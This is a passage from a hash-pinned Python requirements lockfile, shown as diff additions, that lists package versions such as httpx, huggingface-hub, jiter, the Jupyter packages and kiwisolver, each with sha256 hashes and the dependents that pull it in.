--hash=sha256:e93c227b595c6926c1acee96891dd9da4be338cfbe82e5cd3bb9d8dd7dc4ac0b \ + --hash=sha256:eb3028cca2fc0a6d720e52ef61d8ebb62fcbfeb1de56874546d858d3f25a26b7 \ + --hash=sha256:ed377e64805bdba4943c82717333f8f8603a13b09aff9cead2717c6c817fb168 \ + --hash=sha256:ef7c3c97f4311c7be57e2986629df89d49cb434dbff78eafcd48c2bff986b15a \ + --hash=sha256:f256d6ce930c52ca1cb2a960b7da03548c454e7d28b06059ad41bfe789036ce0 \ + --hash=sha256:fe2a4c95aeba2209434e7b31172da572846cae8ca0bf1e7013e61b99fbbf5e72 + # via uvicorn +httpx==0.28.1 \ + --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \ + --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad + # via + # semantica (pyproject.toml) + # agno + # agnoctl + # anthropic + # docling-slim + # google-genai + # groq + # huggingface-hub + # jupyterlab + # litellm + # ollama + # openai + # qdrant-client + # weasel + # weaviate-client +huggingface-hub==1.27.0 \ + --hash=sha256:7df6827c2f956c60fbaa64646e979e566db76f619dd0a9729dfb8c5a3eb4f68d \ + --hash=sha256:c1fed40ea82a6b41b477f5243546549b792ae0a93abcea608cff66089bf8f8df + # via + # accelerate + # docling-ibm-models + # docling-slim + # fastembed + # sentence-transformers + # tokenizers + # transformers +hyperframe==6.1.0 \ + --hash=sha256:b03380493a519fce58ea5af42e4a42317bf9bd425596f7a0835ffce80f1a42e5 \ + --hash=sha256:f630908a00854a7adeabd6382b43923a4c4cd4b821fcb527e6ab9e15382a3b08 + # via h2 +identify==2.6.19 \ + --hash=sha256:20e6a87f786f768c092a721ad107fc9df0eb89347be9396cadf3f4abbd1fb78a \ + --hash=sha256:6be5020c38fcb07da56c53733538a3081ea5aa70d36a156f83044bfbf9173842 + # via pre-commit +idna==3.18 \ + --hash=sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2 \ + --hash=sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848 + # via + # anyio + # httpx + # jsonschema + # requests + # yarl +importlib-metadata==8.9.0 \ + --hash=sha256:58850626cef4bd2df100378b0f2aea9724a7b92f10770d547725b047078f99ee \ + --hash=sha256:e0f761b6ea91ced3b0844c14c9d955224d538105921f8e6754c00f6ca79fba7f + # via + # litellm + # pyshacl +iniconfig==2.3.0 \ + --hash=sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730 \ + --hash=sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12 + # via pytest +instructor==1.15.4 \ + --hash=sha256:00e0ecda80fd9746fb6d082d3f9641e193adb1d8849f0775f91519a82aeff968 \ + --hash=sha256:ea2280c3678d0f6891c4d826104f95624b680e69877113a6345b1d7c9027ba0f + # via semantica (pyproject.toml) +ipykernel==7.3.0 \ + --hash=sha256:897eb64da762549ef610698fca5e9675195ec6ac8ec7f19d81ce1ca20c876057 \ + --hash=sha256:9acaaaf97d16355166e4085afe9d225bfbdf2b7ef520f9df3be8f2b248275e09 + # via + # semantica (pyproject.toml) + # jupyter + # jupyter-console + # jupyterlab +ipython==9.16.1 \ + --hash=sha256:4acae635506f6d352d94c4899a19d5f85f8bc4d230932342dca556fdab1c69b4 \ + --hash=sha256:5a3d1f9a47ff216d6cf9cf863124f6a2c1a198d1354c546a4d24a370a283b64c + # via + # ipykernel + # ipywidgets + # jupyter-console + # pyvis +ipython-pygments-lexers==1.1.1 \ + --hash=sha256:09c0138009e56b6854f9535736f4171d855c8c08a563a0dcd8022f78355c7e81 \ + --hash=sha256:a9462224a505ade19a605f71f8fa63c2048833ce50abc86768a0d81d876dc81c + # via ipython +ipywidgets==8.1.8 \ + --hash=sha256:61f969306b95f85fba6b6986b7fe45d73124d1d9e3023a8068710d47a22ea668 \ + --hash=sha256:ecaca67aed704a338f88f67b1181b58f821ab5dc89c1f0f5ef99db43c1c2921e + # via + # semantica (pyproject.toml) + # jupyter +ismember==1.2.0 \ + --hash=sha256:2263aaaad010e29b7a71bd6a6740e6c925d66574051a49ecaa7d1d213414c9b2 \ + --hash=sha256:8ad61db70946ccf312be5779e0f17a6b08e32012b947ec30c03836f316853a9b + # via + # d3blocks + # d3graph +isodate==0.7.2 \ + --hash=sha256:28009937d8031054830160fce6d409ed342816b543597cece116d966c6d99e15 \ + --hash=sha256:4cd1aa0f43ca76f4a6c6c0292a85f40b35ec2e43e315b59f06e6d32171a953e6 + # via azure-storage-blob +isoduration==20.11.0 \ + --hash=sha256:ac2f9015137935279eac671f94f89eb00584f940f5dc49462a0c4ee692ba1bd9 \ + --hash=sha256:b2904c2a4228c3d44f409c8ae8e2370eb21a26f7ac2ec5446df141dde3452042 + # via jsonschema +isort==8.0.1 \ + --hash=sha256:171ac4ff559cdc060bcfff550bc8404a486fee0caab245679c2abe7cb253c78d \ + --hash=sha256:28b89bc70f751b559aeca209e6120393d43fbe2490de0559662be7a9787e3d75 + # via semantica (pyproject.toml) +jedi==0.20.0 \ + --hash=sha256:7bdd9c2634f56713299976f4cbd59cb3fa92165cc5e05ea811fb253480728b67 \ + --hash=sha256:c3f4ccbd276696f4b19c54618d4fb18f9fc24b0aef02acf704b23f487daa1011 + # via ipython +jinja2==3.1.6 \ + --hash=sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d \ + --hash=sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67 + # via + # d3blocks + # d3graph + # instructor + # jupyter-server + # jupyterlab + # jupyterlab-server + # litellm + # nbconvert + # pyvis + # spacy + # torch +jiter==0.14.0 \ + --hash=sha256:004df5fdb8ecbd6d99f3227df18ba1a259254c4359736a2e6f036c944e02d7c5 \ + --hash=sha256:02c4a7ab56f746014874f2c525584c0daca1dec37f66fd707ecef3b7e5c2228c \ + --hash=sha256:02f36a5c700f105ac04a6556fe664a59037a2c200db3b7e88784fac2ddf02531 \ + --hash=sha256:0ac9cbaa86c10996b92bd12c91659b60f939f8e28fcfa6bc11a0e90a774ce95b \ + --hash=sha256:0fbad7aa06f87e8215d660fc6f05a9b07b58751a29967bbd9c81ff22d21dbe8c \ + --hash=sha256:107465250de4fce00fdb47166bcd51df8e634e049541174fe3c71848e44f52ce \ + --hash=sha256:14c0cb10337c49f5eafe8e7364daca5e29a020ea03580b8f8e6c597fed4e1588 \ + --hash=sha256:155dab67beac8d66cec9479c93ee2cbe7bfbc67509e5c2860e02ec2d9b0ecca1 \ + --hash=sha256:1aca29ba52913f78362ec9c2da62f22cdc4c3083313403f90c15460979b84d9b \ + --hash=sha256:1bf7ff85517dd2f20a5750081d2b75083c1b269cf75afc7511bdf1f9548beb3b \ + --hash=sha256:215a6cb8fb7dc702aa35d475cc00ddc7f970e5c0b1417fb4b4ac5d82fa2a29db \ + --hash=sha256:23ad2a7a9da1935575c820428dd8d2490ce4d23189691ce33da1fc0a58e14e1c \ + --hash=sha256:2492e5f06c36a976d25c7cc347a60e26d5470178d44cde1b9b75e60b4e519f28 \ + --hash=sha256:260bf7ca20704d58d41f669e5e9fe7fe2fa72901a6b324e79056f5d52e9c9be2 \ + --hash=sha256:26679d58ba816f88c3849306dd58cb863a90a1cf352cdd4ef67e30ccf8a77994 \ + --hash=sha256:2d45fc7ea86a46bd9b5bceb9e8d43e5d10a392378713fb32cf1ce851b4b0d1f8 \ + --hash=sha256:2e692633a12cda97e352fdcd1c4acc971b1c28707e1e33aeef782b0cbf051975 \ + --hash=sha256:2f7877ed45118de283786178eceaf877110abacd04fde31efff3940ae9672674 \ + --hash=sha256:2fb2ce3a7bc331256dfb14cefc34832366bb28a9aca81deaf43bbf2a5659e607 \ + --hash=sha256:32959d7285d1d0deb5a8c913349e476ad9271b384f3e54cca1931c4075f54c6e \ + --hash=sha256:33a20d838b91ef376b3a56896d5b04e725c7df5bc4864cc6569cf046a8d73b6d \ + --hash=sha256:34f19dcc35cb1abe7c369b3756babf8c7f04595c0807a848df8f26ef8298ef92 \ + --hash=sha256:351bf6eda4e3a7ceb876377840c702e9a3e4ecc4624dbfb2d6463c67ae52637d \ + --hash=sha256:376e9dafff914253bb9d46cdc5f7965607fbe7feb0a491c34e35f92b2770702e \ + --hash=sha256:37826e3df29e60f30a382f9294348d0238ef127f4b5d7f5f8da78b5b9e050560 \ + --hash=sha256:3a99c1387b1f2928f799a9de899193484d66206a50e98233b6b088a7f0c1edb2 \ + --hash=sha256:41eab6c09ceffb6f0fe25e214b3068146edb1eda3649ca2aee2a061029c7ba2e \ + --hash=sha256:42d6ed359ac49eb922fdd565f209c57340aa06d589c84c8413e42a0f9ae1b842 \ + --hash=sha256:432c4db5255d86a259efde91e55cb4c8d18c0521d844c9e2e7efcce3899fb016 \ + --hash=sha256:4927d09b3e572787cc5e0a5318601448e1ab9391bcef95677f5840c2d00eaa6d \ + --hash=sha256:4b77da71f6e819be5fbcec11a453fde5b1d0267ef6ed487e2a392fd8e14e4e3a \ + --hash=sha256:4e9178be60e229b1b2b0710f61b9e24d1f4f8556985a83ff4c4f95920eea7314 \ + --hash=sha256:4ea73187627bcc5810e085df715e8a99da8bdfd96a7eb36b4b4df700ba6d4c9c \ + --hash=sha256:5252a7ca23785cef5d02d4ece6077a1b556a410c591b379f82091c3001e14844 \ + --hash=sha256:5419d4aa2024961da9fe12a9cfe7484996735dca99e8e090b5c88595ef1951ff \ + --hash=sha256:54b3ddf5786bc7732d293bba3411ac637ecfa200a39983166d1df86a59a43c9f \ + --hash=sha256:55bee2b6a2657434984d9144c20cf27ba3b6acd495539539953e447778515efd \ + --hash=sha256:59940ef6ac9f8b34c800838416f105f0503485fa8d71cae99f71d44a7285b01e \ + --hash=sha256:5c001d5a646c2a50dc055dd526dad5d5245969e8234d2b1131d0451e81f3a373 \ + --hash=sha256:5cf4d4c109641f9cfaf4a7b6aebd51654e405cd00fa9ebbf87163b8b97b325aa \ + --hash=sha256:5dec7c0a3e98d2a3f8a2e67382d0d7c3ac60c69103a4b271da889b4e8bb1e129 \ + --hash=sha256:6112f26f5afc75bcb475787d29da3aa92f9d09c7858f632f4be6ffe607be82e9 \ + --hash=sha256:62fe2451f8fcc0240261e6a4df18ecbcd58327857e61e625b2393ea3b468aac9 \ + --hash=sha256:645be49c46f2900937ba0eaf871ad5183c96858c0af74b6becc7f4e367e36e06 \ + --hash=sha256:651a8758dd413c51e3b7f6557cdc6921faf70b14106f45f969f091f5cda990ea \ + --hash=sha256:67f00d94b281174144d6532a04b66a12cb866cbdc47c3af3bfe2973677f9861a \ + --hash=sha256:69539d936fb5d55caf6ecd33e2e884de083ff0ea28579780d56c4403094bb8d9 \ + --hash=sha256:6ae66782ecffb1a266e1a07f5abbfc3832afdd260fc9b478982c3f8e01eba5fa \ + --hash=sha256:6dd689f5f4a5a33747b28686e051095beb214fe28cfda5e9fe58a295a788f593 \ + --hash=sha256:6f396837fc7577871ca8c12edaf239ed9ccef3bbe39904ae9b8b63ce0a48b140 \ + --hash=sha256:7054adcdeb06b46efd17b5734f75817a44a2d06d3748e36c3a023a1bb52af9ec \ + --hash=sha256:71527ce13fd5a0c4e40ad37331f8c547177dbb2dd0a93e5278b6a5eecf748804 \ + --hash=sha256:7282342d32e357543565286b6450378c3cd402eea333fc1ebe146f1fabb306fc \ + --hash=sha256:758d19dae7ea4c4da3cbc463dc323d1660e7353144ef17509ff43beab6da5a47 \ + --hash=sha256:7609cfbe3a03d37bfdbf5052012d5a879e72b83168a363deae7b3a26564d57de \ + --hash=sha256:77f4ea612fe8b84b8b04e51d0e78029ecf3466348e25973f953de6e6a59aa4c1 \ + --hash=sha256:78a4c677fe5689e0e129b39f5affe9210a500b6620ebb0386ebccf5922bee9a6 \ + --hash=sha256:78d918a68b26e9fab068c2b5453577ef04943ab2807b9a6275df2a812599a310 \ + --hash=sha256:7b25beaa0d4447ea8c7ae0c18c688905d34840d7d0b937f2f7bdd52162c98a40 \ + --hash=sha256:7d9d51eb96c82a9652933bd769fe6de66877d6eb2b2440e281f2938c51b5643e \ + --hash=sha256:7e791e247b8044512e070bd1f3633dc08350d32776d2d6e7473309d0edf256a2 \ + --hash=sha256:7ede4331a1899d604463369c730dbb961ffdc5312bc7f16c41c2896415b1304a \ + --hash=sha256:801028dcfc26ac0895e4964cbc0fd62c73be9fd4a7d7b1aaf6e5790033a719b7 \ + --hash=sha256:80381f5a19af8fa9aef743f080e34f6b25ebd89656475f8cf0470ec6157052aa \ + --hash=sha256:834bb5bdabca2e91592a03d373838a8d0a1b8bbde7077ae6913fd2fc51812d00 \ + --hash=sha256:844e73b6c56b505e9e169234ea3bdea2ea43f769f847f47ac559ba1d2361ebea \ + --hash=sha256:85581c4c3e4060fe3424cdfd7f3aa610f2dc5e9dde8b6863358eb68560018472 \ + --hash=sha256:882bcb9b334318e233950b8be366fe5f92c86b66a7e449e76975dfd6d776a01f \ + --hash=sha256:8b39b7d87a952b79949af5fef44d2544e58c21a28da7f1bae3ef166455c61746 \ + --hash=sha256:92cd8b6025981a041f5310430310b55b25ca593972c16407af8837d3d7d2ca01 \ + --hash=sha256:9b8c571a5dba09b98bd3462b5a53f27209a5cbbe85670391692ede71974e979f \ + --hash=sha256:9f541eaf7bb8382367a1a23d6fc3d6aad57f8dd8c18c3c17f838bee20f217220 \ + --hash=sha256:a25ffa2dbbdf8721855612f6dca15c108224b12d0c4024d0ac3d7902132b4211 \ + --hash=sha256:a4d50ea3d8ba4176f79754333bd35f1bbcd28e91adc13eb9b7ca91bc52a6cef9 \ + --hash=sha256:a7e4ccff04ec03614e62c613e976a3a5860dc9714ce8266f44328bdc8b1cab2c \ + --hash=sha256:ab18d11074485438695f8d34a1b6da61db9754248f96d51341956607a8f39985 \ + --hash=sha256:ad425b087aafb4a1c7e1e98a279200743b9aaf30c3e0ba723aec93f061bd9bc8 \ + --hash=sha256:ae039aaef8de3f8157ecc1fdd4d85043ac4f57538c245a0afaecb8321ec951c3 \ + --hash=sha256:af72f204cf4d44258e5b4c1745130ac45ddab0e71a06333b01de660ab4187a94 \ + --hash=sha256:b08997c35aee1201c1a5361466a8fb9162d03ae7bf6568df70b6c859f1e654a4 \ + --hash=sha256:b80c7b41a628e6be2213ad0ece763c5f88aa5ee003fa394d58acaaee1f4b8342 \ + --hash=sha256:bd77945f38866a448e73b0b7637366afa814d4617790ecd88a18ca74377e6c02 \ + --hash=sha256:be808176a6a3a14321d18c603f2d40741858a7c4fc982f83232842689fe86dd9 \ + --hash=sha256:c1dcfbeb93d9ecd9ca128bbf8910120367777973fa193fb9a39c31237d8df165 \ + --hash=sha256:c409578cbd77c338975670ada777add4efd53379667edf0aceea730cabede6fb \ + --hash=sha256:c6279c63849444a4fe9b9abf82e5df0fc7d13dea07f53f084b362485bd1f2bbe \ + --hash=sha256:c8ef8791c3e78d6c6b157c6d360fbb5c715bebb8113bc6a9303c5caff012754a \ + --hash=sha256:cb8b682d10cb0cce7ff4c1af7244af7022c9b01ae16d46c357bdd0df13afb25d \ + --hash=sha256:ce17f8a050447d1b4153bda4fb7d26e6a9e74eb4f4a41913f30934c5075bf615 \ + --hash=sha256:cff5708f7ed0fa098f2b53446c6fa74c48469118e5cd7497b4f1cd569ab06928 \ + --hash=sha256:d597cd1bf6790376f3fffc7c708766e57301d99a19314824ea0ccc9c3c70e1e2 \ + --hash=sha256:d824ca4148b705970bf4e120924a212fdfca9859a73e42bd7889a63a4ea6bb98 \ + --hash=sha256:df63a14878da754427926281626fd3ee249424a186e25a274e78176d42945264 \ + --hash=sha256:e1765c3ef3ea31fe6e282376a16def1a96f5f11a0235055696c18d9d23ff30cb \ + --hash=sha256:e1a7eead856a5038a8d291f1447176ab0b525c77a279a058121b5fccee257f6f \ + --hash=sha256:e52c076f187405fc21523c746c04399c9af8ece566077ed147b2126f2bcba577 \ + --hash=sha256:e74663b8b10da1fe0f4e4703fd7980d24ad17174b6bb35d8498d6e3ebce2ae6a \ + --hash=sha256:e89bcd7d426a75bb4952c696b267075790d854a07aad4c9894551a82c5b574ab \ + --hash=sha256:e8a39e66dac7153cf3f964a12aad515afa8d74938ec5cc0018adcdae5367c79e \ + --hash=sha256:ee4a72f12847ef29b072aee9ad5474041ab2924106bdca9fcf5d7d965853e057 \ + --hash=sha256:f16b76d7d6aadbbaf7f79a76ff3a51dae14b7ebaaf9c1ba61607784ef51c537c \ + --hash=sha256:f2d4c61da0821ee42e0cdf5489da60a6d074306313a377c2b35af464955a3611 \ + --hash=sha256:f4f1c4b125e1652aefbc2e2c1617b60a160ab789d180e3d423c41439e5f32850 \ + --hash=sha256:fb3dbf7cc0d4dbe73cce307ebe7eefa7f73a7d3d854dd119ea0c243f03e40927 \ + --hash=sha256:fbd9e482663ca9d005d051330e4d2d8150bb208a209409c10f7e7dfdf7c49da9 \ + --hash=sha256:fc4ab96a30fb3cb2c7e0cd33f7616c8860da5f5674438988a54ac717caccdbaa \ + --hash=sha256:fc7e37b4b8bc7e80a63ad6cfa5fc11fab27dbfea4cc4ae644b1ab3f273dc348f \ + --hash=sha256:ff3a6465b3a0f54b1a430f45c3c0ba7d61ceb45cbc3e33f9e1a7f638d690baf3 \ + --hash=sha256:ffb2a08a406465bb076b7cc1df41d833106d3cf7905076cc73f0cb90078c7d10 + # via + # anthropic + # instructor + # openai +jmespath==1.1.0 \ + --hash=sha256:472c87d80f36026ae83c6ddd0f1d05d4e510134ed462851fd5f754c8c3cbb88d \ + --hash=sha256:a5663118de4908c91729bea0acadca56526eb2698e83de10cd116ae0f4e97c64 + # via + # boto3 + # botocore +joblib==1.5.3 \ + --hash=sha256:5fc3c5039fc5ca8c0276333a188bbd59d6b7ab37fe6632daa76bc7f9ec18e713 \ + --hash=sha256:8561a3269e6801106863fd0d6d84bb737be9e7631e33aaed3fb9ce5953688da3 + # via + # distfit + # hdbscan + # librosa + # pynndescent + # scikit-learn +joserfc==1.7.4 \ + --hash=sha256:32d46c2cd5e3203c13e87a6c61333cab310b1ba80cd54b4c4f386a848a122463 \ + --hash=sha256:b3bc561672ae541b17a9237053b48a03dacddd92d68047b3ecdfb4b5714a88ed + # via authlib +json5==0.15.0 \ + --hash=sha256:56636a30c0e8a4665fe2179c0212f32eae3796dea89ea6f649b9436ecdb39618 \ + --hash=sha256:7424d1f1eb1d56da6e3d70643f53619862b4ce81440bdb8ecfd6f875e5ba4a71 + # via jupyterlab-server +jsonlines==4.0.0 \ + --hash=sha256:0c6d2c09117550c089995247f605ae4cf77dd1533041d366351f6f298822ea74 \ + --hash=sha256:185b334ff2ca5a91362993f42e83588a360cf95ce4b71a73548502bda52a7c55 + # via docling-ibm-models +jsonpickle==4.1.2 \ + --hash=sha256:7ffe34426bc797684dbf1dc84185558bd864cd25b1ff5fb01b7405e392d0a937 \ + --hash=sha256:8afed18aa189fd81e2e833b426bb4af485594921f0b1d36c2001fc5637a2f210 + # via pyvis +jsonpointer==3.1.1 \ + --hash=sha256:0b801c7db33a904024f6004d526dcc53bbb8a4a0f4e32bfd10beadf60adf1900 \ + --hash=sha256:8ff8b95779d071ba472cf5bc913028df06031797532f08a7d5b602d8b2a488ca + # via jsonschema +jsonref==1.1.0 \ + --hash=sha256:32fe8e1d85af0fdefbebce950af85590b22b60f9e95443176adbde4e1ecea552 \ + --hash=sha256:590dc7773df6c21cbf948b5dac07a72a251db28b0238ceecce0a2abfa8ec30a9 + # via docling-core +jsonschema==4.26.0 \ + --hash=sha256:0c26707e2efad8aa1bfc5b7ce170f3fccc2e4918ff85989ba9ffa9facb2be326 \ + --hash=sha256:d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce + # via + # docling-core + # jupyter-events + # jupyterlab-server + # litellm + # nbformat +jsonschema-specifications==2025.9.1 \ + --hash=sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe \ + --hash=sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d + # via jsonschema +jupyter==1.1.1 \ + --hash=sha256:7a59533c22af65439b24bbe60373a4e95af8f16ac65a6c00820ad378e3f7cc83 \ + --hash=sha256:d55467bceabdea49d7e3624af7e33d59c37fff53ed3a350e1ac957bed731de7a + # via semantica (pyproject.toml) +jupyter-builder==1.2.2 \ + --hash=sha256:6ebcd4c49daf5df6a18068a74a48010406700ed90a76c189fac43eaf85c60c63 \ + --hash=sha256:b6cea88f58e44b2c5eba96f28d2e0d16fd453d3ca6dc9c4492ff8a1f2e97f601 + # via + # jupyterlab + # notebook +jupyter-client==8.9.1 \ + --hash=sha256:0b7a295bc46e8751e9adae84781f726c851c1d911bd793edc4a3bde942e3da81 \ + --hash=sha256:a58f730dd9e728ba16ba1d62ebccf7ffe1ebbdbce4e95cfae941b7321ae1f4fa + # via + # ipykernel + # jupyter-console + # jupyter-server + # nbclient +jupyter-console==6.6.3 \ + --hash=sha256:309d33409fcc92ffdad25f0bcdf9a4a9daa61b6f341177570fdac03de5352485 \ + --hash=sha256:566a4bf31c87adbfadf22cdf846e3069b59a71ed5da71d6ba4d8aaad14a53539 + # via jupyter +jupyter-core==5.9.1 \ + --hash=sha256:4d09aaff303b9566c3ce657f580bd089ff5c91f5f89cf7d8846c3cdf465b5508 \ + --hash=sha256:ebf87fdc6073d142e114c72c9e29a9d7ca03fad818c5d300ce2adc1fb0743407 + # via + # ipykernel + # jupyter-builder + # jupyter-client + # jupyter-console + # jupyter-server + # jupyterlab + # nbclient + # nbconvert + # nbformat +jupyter-events==0.12.1 \ + --hash=sha256:c366585253f537a627da52fa7ca7410c5b5301fe893f511e7b077c2d93ec8bcf \ + --hash=sha256:faff25f77218335752f35f23c5fe6e4a392a7bd99a5939ccb9b8fbf594636cf3 + # via jupyter-server +jupyter-lsp==2.3.1 \ + --hash=sha256:71b954d834e85ff3096400554f2eefaf7fe37053036f9a782b0f7c5e42dadb81 \ + --hash=sha256:fdf8a4aa7d85813976d6e29e95e6a2c8f752701f926f2715305249a3829805a6 + # via jupyterlab +jupyter-server==2.20.0 \ + --hash=sha256:b5778ba337d8015a3dc2b80803ecdd5ac18d3797fddf61a50ea5fb472b4ebe14 \ + --hash=sha256:c3b67c93c471e947c18b5026f04f21614218adb706df8f48227d3ee8e0a7cdcc + # via + # jupyter-lsp + # jupyterlab + # jupyterlab-server + # notebook + # notebook-shim +jupyter-server-terminals==0.5.4 \ + --hash=sha256:55be353fc74a80bc7f3b20e6be50a55a61cd525626f578dcb66a5708e2007d14 \ + --hash=sha256:bbda128ed41d0be9020349f9f1f2a4ab9952a73ed5f5ac9f1419794761fb87f5 + # via jupyter-server +jupyterlab==4.6.3 \ + --hash=sha256:0a1ebc6567186f1eabd99536e94df7ed9e96d1e7c5ddf3e4406ae16e88abacb7 \ + --hash=sha256:2e3db6e3a12495ebd188276e985bf5ac502fbde3d1e8628819920210008de498 + # via + # jupyter + # notebook +jupyterlab-pygments==0.3.0 \ + --hash=sha256:721aca4d9029252b11cfa9d185e5b5af4d54772bb8072f9b7036f4170054d35d \ + --hash=sha256:841a89020971da1d8693f1a99997aefc5dc424bb1b251fd6322462a1b8842780 + # via nbconvert +jupyterlab-server==2.28.0 \ + --hash=sha256:35baa81898b15f93573e2deca50d11ac0ae407ebb688299d3a5213265033712c \ + --hash=sha256:e4355b148fdcf34d312bbbc80f22467d6d20460e8b8736bf235577dd18506968 + # via + # jupyterlab + # notebook +jupyterlab-widgets==3.0.16 \ + --hash=sha256:423da05071d55cf27a9e602216d35a3a65a3e41cdf9c5d3b643b814ce38c19e0 \ + --hash=sha256:45fa36d9c6422cf2559198e4db481aa243c7a32d9926b500781c830c80f7ecf8 + # via ipywidgets +kafka-python==3.0.10 \ + --hash=sha256:06950fed5e705ec5207458ca6ae43b6c0ae1de4146ddbf7877f42a893830100c \ + --hash=sha256:9b2597f194009dcab8f7207ce9a15d59cb5d30bf5aa742fea69dffbd2866b2d1 + # via semantica (pyproject.toml) +kiwisolver==1.5.0 \ + --hash=sha256:012b1eb16e28718fa782b5e61dc6f2da1f0792ca73bd05d54de6cb9561665fc9 \ + --hash=sha256:01808c6d15f4c3e8559595d6d1fe6411c68e4a3822b4b9972b44473b24f4e679 \ + --hash=sha256:0255a027391d52944eae1dbb5d4cc5903f57092f3674e8e544cdd2622826b3f0 \ + --hash=sha256:0b85aad90cea8ac6797a53b5d5f2e967334fa4d1149f031c4537569972596cb8 \ + --hash=sha256:0bf3acf1419fa93064a4c2189ac0b58e3be7872bf6ee6177b0d4c63dc4cea276 \ + --hash=sha256:0c50b89ffd3e1a911c69a1dd3de7173c0cd10b130f56222e57898683841e4f96 \ + --hash=sha256:0cbe94b69b819209a62cb27bdfa5dc2a8977d8de2f89dfd97ba4f53ed3af754e \ + --hash=sha256:0df54df7e686afa55e6f21fb86195224a6d9beb71d637e8d7920c95cf0f89aac \ + --hash=sha256:0e3aafb33aed7479377e5e9a82e9d4bf87063741fc99fc7ae48b0f16e32bdd6f \ + --hash=sha256:12e91c215a96e39f57989c8912ae761286ac5a9584d04030ceb3368a357f017a \ + --hash=sha256:1465387ac63576c3e125e5337a6892b9e99e0627d52317f3ca79e6930d889d15 \ + --hash=sha256:16b85d37c2cbb3253226d26e64663f755d88a03439a9c47df6246b35defbdfb7 \ + --hash=sha256:1b0feb50971481a2cc44d94e88bdb02cdd497618252ae226b8eb1201b957e368 \ + --hash=sha256:1d49a49ac4cbfb7c1375301cd1ec90169dfeae55ff84710d782260ce77a75a02 \ + --hash=sha256:1d9daea4ea6b9be74fe2f01f7fbade8d6ffab263e781274cffca0dba9be9eec9 \ + --hash=sha256:1dd9b0b119a350976a6d781e7278ec7aca0b201e1a9e2d23d9804afecb6ca681 \ + --hash=sha256:1f1489f769582498610e015a8ef2d36f28f505ab3096d0e16b4858a9ec214f57 \ + --hash=sha256:2517e24d7315eb51c10664cdb865195df38ab74456c677df67bb47f12d088a27 \ + --hash=sha256:295d9ffe712caa9f8a3081de8d32fc60191b4b51c76f02f951fd8407253528f4 \ + --hash=sha256:2a075bd7bd19c70cf67c8badfa36cf7c5d8de3c9ddb8420c51e10d9c50e94920 \ + --hash=sha256:32cc0a5365239a6ea0c6ed461e8838d053b57e397443c0ca894dcc8e388d4374 \ + --hash=sha256:332b4f0145c30b5f5ad9374881133e5aa64320428a57c2c2b61e9d891a51c2f3 \ + --hash=sha256:377815a8616074cabbf3f53354e1d040c35815a134e01d7614b7692e4bf8acfa \ + --hash=sha256:38f4a703656f493b0ad185211ccfca7f0386120f022066b018eb5296d8613e23 \ + --hash=sha256:3ac2360e93cb41be81121755c6462cff3beaa9967188c866e5fce5cf13170859 \ + --hash=sha256:3c4923e404d6bcd91b6779c009542e5647fef32e4a5d75e115e3bbac6f2335eb \ + --hash=sha256:3cdcb35dc9d807259c981a85531048ede628eabcffb3239adf3d17463518992d \ + --hash=sha256:41024ed50e44ab1a60d3fe0a9d15a4ccc9f5f2b1d814ff283c8d01134d5b81bc \ + --hash=sha256:413b820229730d358efd838ecbab79902fe97094565fdc80ddb6b0a18c18a581 \ + --hash=sha256:4432b835675f0ea7414aab3d37d119f7226d24869b7a829caeab49ebda407b0c \ + --hash=sha256:4db576bb8c3ef9365f8b40fe0f671644de6736ae2c27a2c62d7d8a1b4329f099 \ + --hash=sha256:4e7f886f47ab881692f278ae901039a234e4025a68e6dfab514263a0b1c4ae05 \ + --hash=sha256:4e9750bc21b886308024f8a54ccb9a2cc38ac9fa813bf4348434e3d54f337ff9 \ + --hash=sha256:5060731cc3ed12ca3a8b57acd4aeca5bbc2f49216dd0bec1650a1acd89486bcd \ + --hash=sha256:50847dca5d197fcbd389c805aa1a1cf32f25d2e7273dc47ab181a517666b68cc \ + --hash=sha256:5092eb5b1172947f57d6ea7d89b2f29650414e4293c47707eb499ec07a0ac796 \ + --hash=sha256:5124d1ea754509b09e53738ec185584cc609aae4a3b510aaf4ed6aa047ef9303 \ + --hash=sha256:51e8c4084897de9f05898c2c2a39af6318044ae969d46ff7a34ed3f96274adca \ + --hash=sha256:530a3fd64c87cffa844d4b6b9768774763d9caa299e9b75d8eca6a4423b31314 \ + --hash=sha256:56fa888f10d0f367155e76ce849fa1166fc9730d13bd2d65a2aa13b6f5424489 \ + --hash=sha256:58f812017cd2985c21fbffb4864d59174d4903dd66fa23815e74bbc7a0e2dd57 \ + --hash=sha256:59cd8683f575d96df5bb48f6add94afc055012c29e28124fcae2b63661b9efb1 \ + --hash=sha256:5ae8e62c147495b01a0f4765c878e9bfdf843412446a247e28df59936e99e797 \ + --hash=sha256:5b233ea3e165e43e35dba1d2b8ecc21cf070b45b65ae17dd2747d2713d942021 \ + --hash=sha256:6176c1811d9d5a04fa391c490cc44f451e240697a16977f11c6f722efb9041db \ + --hash=sha256:62f59da443c4f4849f73a51a193b1d9d258dcad0c41bc4d1b8fb2bcc04bfeb22 \ + --hash=sha256:6783e069732715ad0c3ce96dbf21dbc2235ab0593f2baf6338101f70371f4028 \ + --hash=sha256:6ab8ba9152203feec73758dad83af9a0bbe05001eb4639e547207c40cfb52083 \ + --hash=sha256:70d593af6a6ca332d1df73d519fddb5148edb15cd90d5f0155e3746a6d4fcc65 \ + --hash=sha256:72ec46b7eba5b395e0a7b63025490d3214c11013f4aacb4f5e8d6c3041829588 \ + --hash=sha256:7a32f72973f0f950c1920475d5c5ea3d971b81b6f0ec53b8d0a956cc965f22e0 \ + --hash=sha256:7a4aa69609f40fce3cbc3f87b2061f042eee32f94b8f11db707b66a26461591a \ + --hash=sha256:7c60d3c9b06fb23bd9c6139281ccbdc384297579ae037f08ae90c69f6845c0b1 \ + 